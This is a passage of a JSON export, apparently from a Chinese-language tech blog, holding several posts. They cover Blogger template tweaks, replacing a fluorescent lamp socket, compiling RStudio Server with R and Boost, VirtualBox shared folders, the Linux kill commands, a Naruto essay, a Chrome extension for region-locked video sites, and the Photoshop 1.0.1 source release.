這種串流媒體格式檔案，這種檔案格式沒辦法在 Windows 中直接播放。\u003c/p\u003e","title":"FLV Player nano：免安裝的 FLV 影片播放軟體"},{"content":"如果有在使用 Google 部落格 Blogger 的人應該會發現，在寫文章時貼上的圖片如果選的大小太大，就會超過文章的邊框，造成排版上的錯誤，這裡介紹如何加上簡單的 CSS 設定，自動修正這個問題。\nStep 1\n首先開啟 Blogger 的管理介面，點選「範本」裡面的「自訂」。\nStep 2\n然後選擇「進階」中的「新增 CSS」，然後在「新增自定 CSS」方框中貼上下面這一行 CSS 設定：\n.post img {max-width: 98% !important} 貼上去之後就會像這樣：\n這行設定的意思是設定文章中的圖片寬度最寬不可超過整個文章寬度的 98%，避免太大的圖片破壞版面。\nStep 3\n下方的區域有預覽更改後的效果，確定沒問題後，按下右上角的「套用至網誌」就完成了。\n這樣修改過後，以後不管圖片怎麼貼，都不用擔心會超過文章的寬度。\n這裡是使用 Blogger 範本設計工具加入自定的 CSS 程式碼，如果有自己修改範本的人，也可以直接下載 XML 範本檔來修改，像我就是這樣。\n參考資料 Spice Up Your Blog ","permalink":"https://blog.gtwang.org/web-development/fix-images-over-sidebar-blogger/","summary":"\u003cp\u003e如果有在使用 Google 部落格 Blogger 的人應該會發現，在寫文章時貼上的圖片如果選的大小太大，就會超過文章的邊框，造成排版上的錯誤，這裡介紹如何加上簡單的 CSS 設定，自動修正這個問題。\u003c/p\u003e","title":"修正 Google 部落格 Blogger 文章圖片超出邊框的問題"},{"content":"最近家裡的一盞環形日光燈管壞了，原本想說買一隻新的日光燈管換上去就可以了，沒想到在換的時候，燈腳一碰就整個碎掉，看來是用太久，塑膠整個脆化掉，沒辦法只好先把剩下的兩條電線先用絕緣膠帶纏起來，避免兩條電線碰觸而短路，結果就變成這個樣子。\n圖片下方的兩條用絕緣膠帶包起來的電線，就是原本接在燈腳上的。原本想說搞成這樣是不是要把整個燈全換掉，後來發現其實可以直接買個新燈腳換上去，不用把整個燈具換掉，以下是更換過程。\nStep 1\n首先就是要買一個新的燈腳，一開始還真不知道去哪裡買，我上網找了好久才發現特力屋有賣，就直接衝去買！\n到了特力屋，想說這東西應該會跟燈具在一起，在一大堆燈管中間走來走去，逛了好久，最後終於給我找到了，一盒 59 元，裡面有兩個燈腳，去大賣場買這種小東西真的很花時間！\n這個燈腳是環形日光燈專用的，買的時候要仔細看，別買錯。\nStep 2\n準備絕緣膠帶與一把尖嘴鉗（或是其他可以剝線的工具）。\nStep 3\n首先把買來燈座的兩條線剝掉一段皮，雖然它本來就有剝好一段了，不過因為我們要接在既有的電線上，所以要再剝長一些會比較好接。\nStep 4\n接下來就要開始接線了，在接線之前，記得把電源總開關關掉，以免觸電。\nStep 5\n將剛剛環形日光燈燈腳脆化剝落後，剩下的兩條電線也剝下差不多長度的皮，然後就把燈腳的兩條電線接上去，因為是交流電，所以哪一頭接哪一頭是沒有差的，接上去之後，再用絕緣膠帶纏好。\n在提醒一次，接電線的時候，記得把電源總開關先關掉再接，以免觸電，為了保險起見，我都會穿塑膠鞋、戴塑膠手套才去接這玩意兒！畢竟觸電可不好玩。\nStep 6\n最後接上起動器與燈管，就大功告成啦。\n因為換天花板上的燈，樓梯爬上爬下有點累，相機又很大台，所以這裡只拍一張最後的照片，給大家參考。\n2013/03/31 今天去逛五金行的時候發現，那個燈座在五金行也有賣，下次如果要買就不用大老遠跑到特力屋去了，而且這個只賣 45 元。\n","permalink":"https://blog.gtwang.org/diy/diy-change-lamp-press/","summary":"\u003cp\u003e最近家裡的一盞環形日光燈管壞了，原本想說買一隻新的日光燈管換上去就可以了，沒想到在換的時候，燈腳一碰就整個碎掉，看來是用太久，塑膠整個脆化掉，沒辦法只好先把剩下的兩條電線先用絕緣膠帶纏起來，避免兩條電線碰觸而短路，結果就變成這個樣子。\u003c/p\u003e","title":"[DIY] 自己更換脆化碎掉的環形日光燈燈腳（燈座）"},{"content":"網路上許多部落格的文章結尾處，都會列出相關的其他文章，方便讀者閱讀與搜尋，這裡介紹如何在 Google 的部落格 Blogger 中加入「相關文章」（Related Posts）這個小工具。\n在 Blogger 內建的小工具中，並沒有「相關文章」的功能，所以網路上就有人自己寫了這樣的功能給大家使用，使用上很方便，以下是使用教學。\nStep 1\n在 Smarter-Related-Posts-Widget 這個 GitHub 專案的 Blog post 中，有提供線上產生程式碼的工具。\n這個網頁可以幫你自動產生「相關文章」的程式碼，在 Options 中有許多選項，可依照自己的喜好選擇，而右上角也有一些 Demo 範例可以參考，調整好參數後，就按下「Update Demo \u0026amp; Code」。\nStep 2\n在按下「Update Demo \u0026amp; Code」之後，在右方的 Demo 方塊就會產生所選擇的樣式範例，可以不斷重複的修改，直到滿意為止，而每次修改完記得要再按下「Update Demo \u0026amp; Code」，Demo 的部分才會更新。\n如果看起來感覺沒問題，就可以將這個「相關文章工具」加入自己的 Blogger 部落格中。\nStep 3\n要將產生好的「相關文章」小工具加入 Blogger 有兩種方式，一種是直接按下右方的「Add to Blogger」的圖示，然後就會跳出「匯入網頁元素」頁面，\n再直接點選「新增迷你組件」就可以了，這樣的做法會在部落格中新增一個 HTML/JavaScript 小工具，之後可以從管理界面的「版面配置」中調整擺放的位置。\nStep 4\n而另外一種做法是直接修改 Blogger 範本，將剛剛「Code」方框中所產生的程式碼複製起來，然後貼在 Blogger 的範本中。\n再貼上的時候，要注意有一部份的程式碼要貼在 \u0026lt;head\u0026gt; 中，另一部份則是貼在要顯示「相關文章」的位置，而其中 \u0026lt;!-- 與 --\u0026gt; 需要修改成 \u0026amp;lt;!-- 與 --\u0026amp;gt;。\n我的做法如下，給大家參考。\n在 之前，貼上以下程式碼：\n\u0026lt;!-- Begin: Add by Seal --\u0026gt; \u0026lt;b:if cond=\u0026#39;data:blog.pageType == \u0026amp;quot;item\u0026amp;quot;\u0026#39;\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://blogger-related-posts.googlecode.com/files/jquery.related-posts-widget-2.0.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/b:if\u0026gt; \u0026lt;!-- End: Add by Seal --\u0026gt; 在 \u0026lt;div class=\u0026quot;post-footer\u0026quot;\u0026gt; 之前，貼上以下程式碼：\n\u0026lt;!-- Begin: Add by Seal --\u0026gt; \u0026lt;b:if cond=\u0026#39;data:blog.pageType == \u0026amp;quot;item\u0026amp;quot;\u0026#39;\u0026gt; \u0026lt;div class=\u0026#39;related-posts-widget\u0026#39;\u0026gt; \u0026lt;!-- { thumbs:0 } --\u0026gt; Loading ... \u0026lt;/div\u0026gt; \u0026lt;/b:if\u0026gt; \u0026lt;!-- End: Add by Seal --\u0026gt; 這樣就完成了。\n","permalink":"https://blog.gtwang.org/web-development/google-blogger-related-posts/","summary":"\u003cp\u003e網路上許多部落格的文章結尾處，都會列出相關的其他文章，方便讀者閱讀與搜尋，這裡介紹如何在 Google 的部落格 Blogger 中加入「相關文章」（Related Posts）這個小工具。\u003c/p\u003e","title":"在 Google 部落格 Blogger 加入「相關文章」（Related Posts）小工具教學"},{"content":"RStudio 是一個 R 的整合開發環境，改良原有的 R 使用界面，加入更多便利的功能，是目前最受歡迎的 R 使用者介面之一。\nRStudio 的版本分為 Desktop 與 Server 兩種，Desktop 版是給個人安裝在自己的電腦上使用的，而 Server 版則是安裝在伺服器上面，以網頁介面的方式提供使用者線上使用。\nServer 版的部分，如果是 Ubuntu/Debian Linux 的話，可以直接用 apt 安裝打包好的 deb 檔，而如果是 RedHat/CentOS Linux 的話，也有現成的 rpm 可以裝，我們這裡介紹如何在一般其他的 Linux 下自行編譯與安裝 RStudio 的 Server 版。\n編譯與安裝 R 2.15.2 Step 1\n首先到 R 的官方網站下載最新的 R 原始碼。\nwget http://cran.cs.pu.edu.tw/src/base/R-2/R-2.15.2.tar.gz Step 2\n解壓縮下載下來的 R 壓縮檔。\ntar zxvf R-2.15.2.tar.gz Step 3\n執行 configure，記得要加入 --enable-R-shlib 參數，如果沒有加入這個參數，則在後面編譯 RStudio 時候有問題。\ncd R-2.15.2 ./configure --prefix /opt/R/R-2.15.2 --enable-R-shlib 而 \u0026ndash;prefix 參數是指定 R 要安裝的路徑。\nStep 4\n編譯程式，現在的多核心 CPU 可以用 -j 參數指定平行化編譯，會加快很多，這裡我們使用 4 核心的 CPU 來編譯。\nmake -j4 Step 5\n將編譯好的 R 程式安裝到 /opt/R/R-2.15.2。\nmake install 編譯與安裝 Boost 1.50.0 函式庫 Step 1\n下載 Boost 1.50.0 版原始程式碼。\nwget http://downloads.sourceforge.net/project/boost/boost/1.50.0/boost_1_50_0.tar.bz2 Step 2\n解壓縮下載的壓縮檔。\ntar jxvf boost_1_50_0.tar.bz2 Step 3\n編譯 Boost 函式庫。\ncd boost_1_50_0 ./bootstrap.sh ./b2 Step 4\n將 Boost 1.50.0 安裝在 /opt/R/boost-1.50.0。\n./b2 install --prefix=/opt/R/boost-1.50.0 --prefix 是指定 Boost 函式庫的安裝路徑。\nStep 5\n設定 ldconfig：\nsudo echo \u0026#39;/opt/R/boost-1.50.0/lib\u0026#39; \u0026gt; /etc/ld.so.conf.d/boost1.50.0.conf 重新載入設定：\nsudo ldconfig 編譯與安裝 RStudio Step 1\n從 RStudio 官方網站下載原始碼的 .tar.gz 壓縮檔。\nStep 2\n解壓縮下載的壓縮檔：\ntar zxvf rstudio-rstudio-v0.97.318-0-gd528686.tar.gz Step 3\n安裝 RStudio 編譯所需的程式：\ncd rstudio-rstudio-d528686/dependencies/common ./install-dictionaries ./install-mathjax ./install-gwt cd ../../ Step 4\n執行 cmake：\nmkdir build cd build cmake .. -DRSTUDIO_TARGET=Server \\ -DCMAKE_BUILD_TYPE=Release \\ -DCMAKE_INSTALL_PREFIX=/opt/R/rstudio \\ -DLIBR_HOME=/opt/R/R-2.15.2 \\ -DLIBR_INCLUDE_DIRS=/opt/R/R-2.15.2/lib64/R/include \\ -DLIBR_LIBRARIES=/opt/R/R-2.15.2/lib64/R/lib \\ -DLIBR_DOC_DIR=/opt/R/R-2.15.2/lib64/R/doc \\ -DBOOST_ROOT=/opt/R/boost-1.50.0 這裡所指定的參數會跟上面 Boost 與 R 的安裝路徑有關，如有需要，請依照自己系統的安裝路徑設定。而 CMAKE_INSTALL_PREFIX 是指定 RStudio 的安裝路徑。\nStep 5\n以 4 顆 CPU 編譯 RStudio 原始碼。\nmake -j4 Step 6\n安裝 RStudio 至 /opt/R/rstudio。\nmake install Step 7\n新增 RStudio Server 系統用帳號 rstudio-server，\nsudo useradd -r rstudio-server 只要這個帳號存在，RStudio 就會自動以這個帳號的權限執行。\nStep 8\nRStudio 是使用 PAM 的方式來進行使用者的認證，在 Ubuntu 或 Debian 中預設就會使用 PAM，而在其他的 Linux 中就要設定（如：Redhat、Fedora 與 openSUSE）。\n設定方式就是將設定寫在 /etc/pam.d/rstudio 這個檔案中，在安裝路徑中的 extras/pam/rstudio 是一個範本檔案，可以參考，或是直接複製過去也可以。\nsudo cp /opt/R/rstudio/extras/pam/rstudio /etc/pam.d/ Step 9\n設定 init.d 服務（Ubuntu 則為 upstart），讓 RStudio 開機自動啓動，在安裝路徑中的 extras/init.d 與 extras/upstart 中有各種常用 Linux 的範本檔案。\n而安裝 init.d（或 upstart）script 需要將寫好的 script 檔複製到 /etc/init.d 資料夾中：\ncp /opt/R/rstudio/extras/init.d/suse/rstudio-server /etc/init.d/ 接著將執行權限打開，然後在設定啓動的 runlevel，例如：\nsudo /sbin/chkconfig --add rstudio-server Step 10\n為 RStudio 管理者工具建立連結檔，方便管理用。\nsudo ln -f -s /opt/R/rstudio/bin/rstudio-server /usr/sbin/rstudio-server Step 11\n如果你的 Linux 系統有支援 AppArmor，則可以再加入 AppArmor 的設定增加系統安全性，在安裝路徑的 extras/apparmor/rstudio-server 有一個是用於 Ubuntu Linux 的範例組態檔。\nStep 12\n建立 RStudio 設定檔，其設定檔是在放 /etc/rstudio 這個目錄下，而這個目錄要自行建立：\nmkdir -p /etc/rstudio 接著建立 rserver.conf 設定檔，設定要使用的 R 所安裝的路徑：\necho \u0026#39;rsession-which-r=/opt/R/R-2.15.2/bin/R\u0026#39; \u0026gt;\u0026gt; /etc/rstudio/rserver.conf 設定 RStudio 所佔的 port number，這個就依自己的狀況修改：\necho \u0026#39;www-port=18000\u0026#39; \u0026gt;\u0026gt; rserver.conf 如果之前的 Boost 不想以 ldconfig 更動整個 Linux 系統的設定，也可以在這裡個別對 RStudio 做設定：\necho \u0026#39;rsession-ld-library-path=/opt/R/boost-1.50.0/lib\u0026#39; \u0026gt;\u0026gt; /etc/rstudio/rserver.conf Step 13\n若之前已經設定好 init.d 服務了，則這時候就可以使用下面這個指令啟動 RStudio：\nsudo rstudio-server start 除了 start 之外，其餘可用的參數有：stop、restart、offline、online 等。\n設定 Apache Proxy 功能 通常作為雲端服務的伺服器都會有網頁伺服器的功能，最常使用的就是 Apache，為了避免開太多對外的 port 而增加風險，我們使用 Apache 的 proxy 功能，這樣連線時就可以透過 Apache 轉到 RStudio 的 port，避免 RStudio 直接對外。\nStep 1\n首先啓動 Apache 的 proxy 與 proxy_http 兩個模組。\nsudo a2enmod proxy sudo a2enmod proxy_http Step 2\n更改 Apache 的設定檔，在 VirtualHost 中加入 proxy 的設定：\n\u0026lt;VirtualHost *:80\u0026gt; \u0026lt;Proxy *\u0026gt; Allow from localhost \u0026lt;/Proxy\u0026gt; ProxyPass /rstudio/ http://localhost:18000/ ProxyPassReverse /rstudio/ http://localhost:18000/ RedirectMatch permanent ^/rstudio$ /rstudio/ \u0026lt;/VirtualHost\u0026gt; 這個設定是讓所有連到 /rstudio/ 這個位置的連線直接導入 RStudio 的登入網頁 http://localhost:18000/，這樣網址就會比較簡潔，不會出現 port number。\nStep 3\n重新啓動 Apache。\nsudo /etc/init.d/apache2 restart 常見問題（FAQ） Problem 1\n啟動 RStudio 時，如果出現類似下面這些訊息：\n/opt/R/rstudio/bin/rserver: error while loading shared libraries: libboost_date_time.so.1.50.0: cannot open shared object file: No such file or directory /usr/sbin/rstudio-server: line 24: return: can only `return' from a function or sourced script Starting rstudio-server /opt/R/rstudio/bin/rserver: error while loading shared libraries: libboost_date_time.so.1.50.0: cannot open shared object file: No such file or directory startproc: exit status of parent of /opt/R/rstudio/bin/rserver: 127 failed 則表示 RStudio 啓動時，找不到 Boost 的 shared library，請參考上面的 Boost 安裝教學並檢查：\nBoost 是否安裝完成，安裝時有沒有錯誤訊息。 Boost 的 ldconfig 設定是否正確。 Problem 2\n啟動 RStudio 時出現 failed，而 /var/log/messages 中出現類似下面這些訊息：\nMar 4 08:18:20 ngs1t rserver[33336]: ERROR Unable to find an installation of R on the system (which R didn't return valid output); LOGGED FROM: core::FilePath core::r_util::\u0026lt;unnamed\u0026gt;::systemDefaultRScript(std::string*) /home/seal/rstudio/rstudio-rstudio-d528686/src/cpp/core/r_util/REnvironmentPosix.cpp:217 Mar 4 08:18:20 ngs1t rserver[33336]: ERROR Unable to locate R binary by scanning standard locations; LOGGED FROM: core::FilePath core::r_util::\u0026lt;unnamed\u0026gt;::scanForRScript(const std::vector\u0026lt;std::basic_string char=\"\" std::char_traits=\"\"\u0026gt;, std::allocator\u0026lt;char\u0026gt; \u0026gt;, std::allocator\u0026lt;std::basic_string char=\"\" std::char_traits=\"\"\u0026gt;, std::allocator\u0026lt;char\u0026gt; \u0026gt; \u0026gt; \u0026gt;\u0026, std::string*) /home/seal/rstudio/rstudio-rstudio-d528686/src/cpp/core/r_util/REnvironmentPosix.cpp:66 Mar 4 08:18:20 ngs1t rserver[33336]: ERROR Unable to find an installation of R on the system (which R didn't return valid output); Unable to locate R binary by scanning standard locations; LOGGED FROM: int main(int, char* const*) /home/seal/rstudio/rstudio-rstudio-d528686/src/cpp/server/ServerMain.cpp:342 就表示 RStudio 找不到系統上 R 所安裝的位置，請檢查：\nR 是否有正確安裝好，有沒有錯誤訊息。 RStudio 中所設定的 R 路徑是否正確。 原則上只要有問題，通常都可以在錯誤訊息中找到答案。\n","permalink":"https://blog.gtwang.org/linux/linux-rstudio-server-r-boost-library/","summary":"\u003cp\u003eRStudio 是一個 R 的整合開發環境，改良原有的 R 使用界面，加入更多便利的功能，是目前最受歡迎的 R 使用者介面之一。\u003c/p\u003e\n\u003cp\u003eRStudio 的版本分為 Desktop 與 Server 兩種，Desktop 版是給個人安裝在自己的電腦上使用的，而 Server 版則是安裝在伺服器上面，以網頁介面的方式提供使用者線上使用。\u003c/p\u003e","title":"在 Linux 中編譯安裝 RStudio Server 版（包含 R 與 Boost Library）"},{"content":"VirtualBox 是一個很普及的虛擬機器軟體（也是免費開放原始碼軟體），在使用虛擬機器時，有時候會需要將檔案由 Host OS（正常的 OS）傳進 Guest OS（裝在虛擬機器的上 OS）或是從 Guest OS 傳出來 Host OS，而 VirtualBox 中就有提供這樣的功能，稱為分享資料夾（Shared Folder）。\n這裡示範在 Mac OS X 中的 VirtualBox 如何設定 Guest OS 為 Ubuntu Linux 與 Windows 的分享資料夾。\nLinux 這裡以 Ubuntu Linux 作為示範，但同樣的做法也可以用在其他的 Linux distribution。\nStep 1\n首先設定 Host OS 中 VirtualBox 的分享資料夾，從「Device」選單中開啟「Shared Folders」設定視窗。\n點選右方的「Add Shared Folder」圖示。\nStep 2\n設定要分享的資料夾路徑與名稱，另外把「Auto-mount」與「Make Permanent」兩個選項也勾起來，\n然後按下「OK」。\n這樣在 Host OS 中 VirtualBox 這邊的設定就完成了，接下來是 Guest OS 中的設定。\nStep 3\n在 Linux 中（在 Guest OS 中）修改 /etc/group，將所有需要用到分享資料夾的帳號加入 vboxsf 群組。\n首先找尋「vboxsf」這個群組，正常來說應該會像這樣：\nvboxsf:x:125: 接著把所有需要用到分享資料夾的帳號加進去，例如將 seal 這個帳號加入 vboxsf 群組：\nvboxsf:x:125:seal 也就是把帳號名稱加在最後一個冒號之後，如果要加入多個帳號，就用豆點分隔。\nStep 4\n登出虛擬機器的 Linux，重新登入。\nStep 5\n開啟 /media/，就可以看到分享的資料夾了。\n如果是用內建的 Nautilus，則可選擇左邊的「檔案系統」後，\n在選擇 media，就可以看到分享的資料夾了。\nWindows 在 Windows 中的設定方式其實跟 Linux 是一樣的，只是他不用設定群組的權限。\nStep 1\n首先按照上面 Linux 的 Step 1 與 Step 2 設定步驟來新增 VirtualBox 的分享資料夾。\nStep 2\n然後在 Windows 中（Guest OS）的「我的電腦」應該就會出現該分享資料夾了。\n如果一直沒出現，可以把 Guest OS 重開機試試看，基本上應該裝完之後就會出現了。\n","permalink":"https://blog.gtwang.org/tips/virtualbox-shared-folder/","summary":"\u003cp\u003eVirtualBox 是一個很普及的虛擬機器軟體（也是免費開放原始碼軟體），在使用虛擬機器時，有時候會需要將檔案由 Host OS（正常的 OS）傳進 Guest OS（裝在虛擬機器的上 OS）或是從 Guest OS 傳出來 Host OS，而 VirtualBox 中就有提供這樣的功能，稱為分享資料夾（Shared Folder）。\u003c/p\u003e","title":"VirtualBox 設定分享資料夾（Shared Folder）教學"},{"content":"在 Windows 中如果有程式執行到一半當掉或沒有回應，可以使用 Ctrl + Alt + Delete 開啟工作管理員，砍掉當掉的程式，而在 Linux 中如果程式當掉，也有類似的方式可以直接砍掉指定行程（process）。\n使用 kill 指令 在 Linux 若要中止程式的執行，最常見的方式就是使用 kill 指令，此指令可以將指定的行程（process）強迫中止，其使用方式如下：\nkill PID 其中 PID 就是要中止的行程 ID（Process ID），這個 PID 可以從 ps 指令的輸出中得到。\n而有時候程式當掉時，這樣的方式如果沒辦法停止程式的執行，可以試試看以不同的訊號（signal）試試看：\nkill -9 PID 這樣會強迫程式馬上中止。kill 指令常用的訊號有幾個：\n-2：這個訊號與鍵盤輸入 Ctrl + C 是同樣的動作，也是通知程式停止執行。 -9：立刻強制停止程式執行。 -15：以正常的程序通知程式停止執行，這是預設的訊號。 -l：列出所有可用的訊號。 以下是一些 kill 指令的使用範例：\n將行程 ID 為 12932 的程式終止：\nkill 12932 強制中止行程 ID 為 12932 的程式：\nkill -9 12932 使用 killall 指令 大家應該會發現基本的 kill 指令有些缺點，每次要中止某個程式時，都要用 ps 指令先查詢該程式的行程 ID（Process ID），才能再用 kill 指令中止程式，有點麻煩，這種狀況就可以改用 killall 指令，這個指令個功能與 kill 指令幾乎相同，但是他是直接使用程式的名稱來指定要中止的程式，這樣只要知道程式名稱即可直接使用。\nkillall 指令常用的參數有：\n-e, --exact：在程式名稱完全比對成功時，才中止程式。如果程式的名稱超過 15 個字元，其餘的字元在系統中會被捨去，這時候在預設的狀況下，killall 會把所有符合前 15 個字元的程式都中止掉，如果加上 -e 參數的話，killall 指令就會跳過這種名稱過長的程式。 -I, --ignore-case：在比對程式名稱時，英文大小寫視為相同（ignore case）。 -i, --interactive：在中止程式之前，先以互動式的方式詢問。 -l, --list：列出所有的訊號（signal）名稱。 -r, --regexp：使用常規表示法（regular expression）指定程式名稱。 -s, --signal：指定送出的訊號（signal）。 -u, --user：只中止指定使用者所執行的程式。 -o, --older-than：指定程式的開始執行時間點，必須在此時間點之前。 -y, --younger-than：指定程式的開始執行時間點，必須在此時間點之後。 以下是一些 kill 指令的使用範例：\n中止執行 xclock 這個程式：\nkillall xclock 使用 pkill 指令 pkill 指令與 killall 指令類似，也是可以指定程式名稱，但是其所指定的名稱會直接以常規表示法（regular expression）的方式比對，只要比對成功，就會中止該程式。\n對於不熟悉常規表示法的初學者而言，用此程式可能比較危險，如果使用不正確的常規表示法，可能會把不該中止的程式也砍了，所以使用上要注意。\n另外有一個 pgrep 指令，此指令與 pkill 的語法幾乎相同，但此指令不會直接中止程式，而是把符合的行程 ID（Process ID）列出來，這個指令可以讓你在使用 pkill 指令前先做一次確認，或是與其他的指令搭配使用，例如將 firefox 的 nice 值調大：\nrenice +4 `pgrep firefox` 使用 xkill 指令 上面所提到的指令都是要以程式的行程 ID 或程式的名稱來指定要中止的程式，但是在 X Window 的桌面環境中，如果視窗程式當掉，要找到該程式的行程 ID 或程式名稱事件很麻煩的事情，尤其是在當機的時候。\nxkill 就是為了中止視窗程式而設計的指令，可以讓你在不需要知道程式的行程 ID 與名稱的情況，直接把該程式砍掉，以下是使用教學範例：\n這是 Ubuntu 的 Unity 桌面環境，\n假設我們想要強迫桌面上的 xclock 這個視窗程式停止執行，就直接在終端機中執行： xkill 執行 xkill 之後，滑鼠游標就會變成一個叉的形狀，這時候就用滑鼠去點擊要中止執行的視窗。\n被點擊到的視窗程式就會立刻被中止執行，使用方式就是這麼簡單。\n製作 xkill 啟動圖示 xkill 雖然已經很方便了，但是美中不足的一點就是還是需要自己開啓終端機輸入一行指令，這個部分我們可以自行製作一個啓動圖示，這樣就完全不需要使用任何指令了。\nUbuntu 的 Unity 桌面跟 Gnome 有些不同，若要新增啟動圖示，要自己編輯 .desktop 檔。\nStep 1\n首先在終端機執行：\ngedit ~/.local/share/applications/xkill.desktop 這會開啟 gedit 編輯一個啟動圖示的 .desktop 檔。\nStep 2\n輸入以下內容：\n[Desktop Entry] Name=xkill Comment= Exec=/usr/bin/xkill Icon=/home/seal/plunderin_pirates.png Terminal=false Type=Application StartupNotify=true 其中，Name 是指定啟動圖示的名稱，而 Icon 則是指定啟動圖示所顯示的圖片。\n輸入完成後，儲存此檔案，然後就可以關閉 gedit 了。\nStep 3\n在桌面的左上角有個 Ubuntu 選單，點下去後搜尋 xkill。\n這時候應該就可以找到剛剛新增的 xkill 啟動圖示了，直接把這個 xkill 的圖示用滑鼠拖到左側的工具選單中。\n這樣就完成了，之後若是要砍掉桌面上的視窗程式，就點一下這個 xkill 的啟動圖示，再點擊要中止的視窗就可以了。\n以下是一些可以用來作為 xkill 的啟動圖示的圖片，大家有需要可以下載回去使用。\n參考資料 鳥哥的 Linux 私房菜 askubuntu ","permalink":"https://blog.gtwang.org/linux/linux-kill-killall-xkill/","summary":"\u003cp\u003e在 Windows 中如果有程式執行到一半當掉或沒有回應，可以使用 Ctrl + Alt + Delete 開啟工作管理員，砍掉當掉的程式，而在 Linux 中如果程式當掉，也有類似的方式可以直接砍掉指定行程（process）。\u003c/p\u003e","title":"在 Linux 中使用 kill、killall 與 xkill 等指令強迫關閉程式"},{"content":"最近看完「火影忍者疾風傳」第 519 集的動畫卡通，感覺有些想法很好，順便寫上來。\n第四次忍界大戰中，宇智波鼬被藥師兜使用「穢土轉生」之術重新召喚至人世，在戰場上與鳴人相遇，借助之前交給鳴人的力量「守護木葉」脫離穢土轉生的控制，詢問鳴人佐助的動態並安心地把佐助託付給鳴人，並且用十拳劍幫助鳴人和其拉比封印了長門。\n這是許多人都容易犯的錯，能力很強的人，都會想要自己搞定所有的事情，但是有時候這樣不見得是件好事。\n現實世界好像也有類似的狀況，在上位者還是必須具備足夠的德性，自然獲得眾人擁護，國家或組織才能長治久安。\n宇智波鼬最後以萬花筒寫輪眼發動天照，將宇智波止水的眼睛燒掉了。\n宇智波止水的眼睛是唯一能發動最強幻術「別天神」的寫輪眼，能夠捨得將如此珍貴的眼睛燒掉，需要有一定的覺悟。\n如果是一般的人，會感覺可惜，但鼬知道宇智波止水的寫輪眼對未來的世界和平沒有幫助，反而容易引發爭端，所以就燒掉它，不會想佔為己有，而現實世界中有這等器度的人實在不多見。\n其實真正的力量，來自於正確的信念，有正確與正向的信念，會產生無窮的力量，這種力量是無形的，但卻是最強大的。\n現實生活中，沒有自覺的人，因為過度依賴自身以外的事物，或礙於不正確的信念，無法發揮自身本有的潛力，人性本善，每個人其實都隱藏著很強大的力量，只要將內心的光明本性釋放出來，自然可以產生出不可思議的力量。\n但很可惜，許多現代人受到次世代的文化影響，缺少了這個關鍵的正確信念，也就是宇智波止與鳴人水想維護和平、無任何私心的信念，少了這個，即使能力再強，也會失敗，就像宇智波斑一樣，為世界帶來災難。\n宇智波鼬是個很不簡單忍者，能力很強，獨自背負了所有的重擔，但最最終失敗，重點是失敗之後承認失敗，從失敗中重新出發，這次將重任托付給夥伴，其話語發人省思。\n「看來你不是僅僅擁有力量的忍者啊！」 \u0026ndash; 其拉比\n","permalink":"https://blog.gtwang.org/funny/naruto-uchiha-itachi/","summary":"\u003cp\u003e最近看完\u003ca href=\"https://www.xgcartoon.com/video/huoyingrenzhe_jifengchuanriyu-anbenqishi/cWE4obQ2wv.html\"\u003e「火影忍者疾風傳」第 519 集\u003c/a\u003e的動畫卡通，感覺有些想法很好，順便寫上來。\u003c/p\u003e\n\u003cp\u003e第四次忍界大戰中，宇智波鼬被藥師兜使用「穢土轉生」之術重新召喚至人世，在戰場上與鳴人相遇，借助之前交給鳴人的力量「守護木葉」脫離穢土轉生的控制，詢問鳴人佐助的動態並安心地把佐助託付給鳴人，並且用十拳劍幫助鳴人和其拉比封印了長門。\u003c/p\u003e","title":"宇智波鼬的體悟：火影忍者疾風傳觀後感想"},{"content":"優酷與土豆網是大陸兩個很知名的影音網站，上面有各式各樣的影音檔案可以提供大家線上觀看，有點類似 YouTube，但是有更多好看的影片，像我就發現土豆網上面蒐集的火影忍者動畫很齊全，而且畫值很好，每次要看新出的火影忍者動畫，用 Google 搜尋影片都會找到這個網站。\n但是令人失望的是，很多好看的影片卻限制只有在中國大陸內部的 IP 可以觀看，像我愛看的「火影忍者疾風傳」就是這樣。 🙁\n後來發現這個 IP 限制是有辦法破解的，而且做法很簡單，以下就是破解教學。\nStep 1\n首先，你必須要安裝 Google 的 Chrome 瀏覽器，因為我們要使用一個 Chrome 的擴充功能，我想安裝 Chrome 瀏覽器應該不需要教學吧，直接下載下來安裝就可以了。\nStep 2\n接著開啓 Chrome 瀏覽器，連到 Chrome 線上應用程式商店 Unblock Youku 這個擴充功能的安裝頁面，這個就是專門破解大陸影音網站 IP 限制的工具，按下右方的「加到 Chrome」。\nStep 3\n接著會出現確認對話方塊，按下「新增」。\n安裝完成後，Chrome 瀏覽器上面就會出現一個新的圖示。\n這樣就已經安裝完成了。\nStep 4\n這時候就可以直接連上土豆網或是優酷自由的看影片了！來看看最新的「火影忍者疾風傳」。\n可以看了！而且畫值超好！\n","permalink":"https://blog.gtwang.org/useful-tools/chrome-unblock-youku-plugin/","summary":"\u003cp\u003e\u003ca href=\"http://www.tudou.com/\"\u003e優酷\u003c/a\u003e與\u003ca href=\"http://www.youku.com/\"\u003e土豆網\u003c/a\u003e是大陸兩個很知名的影音網站，上面有各式各樣的影音檔案可以提供大家線上觀看，有點類似 YouTube，但是有更多好看的影片，像我就發現土豆網上面蒐集的火影忍者動畫很齊全，而且畫值很好，每次要看新出的火影忍者動畫，用 Google 搜尋影片都會找到這個網站。\u003c/p\u003e","title":"解決優酷、土豆網影片非大陸地區不能看的問題（Chrome 瀏覽器 Unblock Youku 外掛）"},{"content":"世界上最著名的繪圖軟體 Adobe Photoshop，現在開放其最早的原始碼了！這對於大家來說真是個令人興奮的消息。這次釋出的原始碼是 Photoshop 1.0.1 版（西元 1990 年所發行的），所有的程式碼全部釋出，任何人都可以透過電腦歷史博物館（Computer History Museum）網站下載。\n電腦歷史博物館網站得到 Adobe 的授權，在非商業使用的情況下開放 Photoshop 1.0.1 版的原始程式碼，其中所有的程式碼除了 MacApp applications library 的部份之外（這部分的程式所有權是屬於 Apple 的），全部都公開，在整個壓縮檔中，包含 179 個資料夾，約 128,000 行程式碼，大部分的程式沒有註解，但是有良好的程式架構。\n據 PetaPixel 指出，這個第一版的 Photoshop 程式是由單一位密西根大學（University of Michigan）的 computer vision 博士班學生 Thomas Knoll 在 1987 年所開發的，目的是為了處理與顯示數位影像，而他的哥哥 John Knoll 任職於 Industrial Light \u0026amp; 